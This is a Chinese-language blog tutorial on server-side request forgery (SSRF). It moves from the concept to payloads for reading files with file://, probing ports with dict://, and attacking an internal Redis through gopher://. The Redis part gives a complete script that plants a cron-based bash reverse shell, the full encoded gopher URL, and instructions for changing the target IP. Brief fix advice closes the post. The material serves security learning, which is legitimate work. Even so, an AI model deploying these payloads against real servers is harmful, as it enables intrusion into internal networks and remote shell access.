0x01 前言

基础漏洞梳理

0x02 概念

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所以可以通过它攻击外网无法访问的内部系统,也就是把目标网站当跳板)。SSRF漏洞会造成内外网端口服务被探测,服务器敏感数据读取和被攻击者获取shell等等,危害相当大。

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

0x03 利用

curl造成的SSRF

示例代码:

我尝试在linux上运行该代码,但是始终未能成功运行,具体原因没有去做分析,所以我建在了本地物理机的phpstudy环境下。

访问http://127.0.0.1/ssrf.php?url=www.baidu.com

发现页面打开的是百度的主页面。需要强调的是,url跳转同样可以达到这样的效果,但是url跳转后搜索框中的url会变为跳转后的链接,而SSRF不同,它依旧保留请求所用的url。这也是SSRF的一个特征。

当我们将url参数设置为回送地址即可探测www目录下的资源。

pyaload:?url=127.0.0.1/phpMyAdmin/

利用file协议查看服务器文件

payload:?url=file:///C:/config.ini
这里需要注意的是,windows不区分大小写,但是linux则区分大小写。这里也可以做一个小实验,windows主机无法同时存在test.txt和Test.txt。因为windows认为它们的名称是相同的。

利用dict协议探测端口

payload:?url=dict://127.0.0.1:80

存在内容则表示该端口存在

比如payload:?url=dict://127.0.0.1:2

响应是空白的,说明该端口未开放。当然我们也可以使用burp进行遍历。

利用gopher协议反弹shell

攻击内网Redis

如果对方服务器有安装Redis ,便可以利用Redis 任意文件写入漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。

首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。 先写一个redis反弹shell的bash脚本如下:

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

该代码很简单,在redis的第0个数据库中添加key为1,value为\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。

执行脚本命令:


bash shell.sh 127.0.0.1 6379

想获取Redis攻击的TCP数据包,可以使用socat进行端口转发。转发命令如下:


socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

意思是将本地的4444端口转发到本地的6379端口。访问该服务器的4444端口,访问的其实是该服务器的6379端口。

执行脚本


bash shell.sh 127.0.0.1 4444
  • 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • 将\r字符串替换成%0d%0a
  • 空白行替换为%0a

改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

需要注意的是,如果要换IP和端口,前面的$58也需要更改,$58表示字符串长度为58个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a,3+51+4=58。如果想换成42.256.24.73,那么$58需要改成$61,以此类推就行。

0x04 修复方法

1、限制协议为HTTP、HTTPS
2、禁止30x跳转
3、设置URL白名单或者限制内网IP

参考:

https://blog.chaitin.cn/gopher-attack-surfaces/

https://joychou.org/web/phpssrf.html

http://www.liuwx.cn/penetrationtest-3.html

0x05 结语

期待挖到ssrf。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注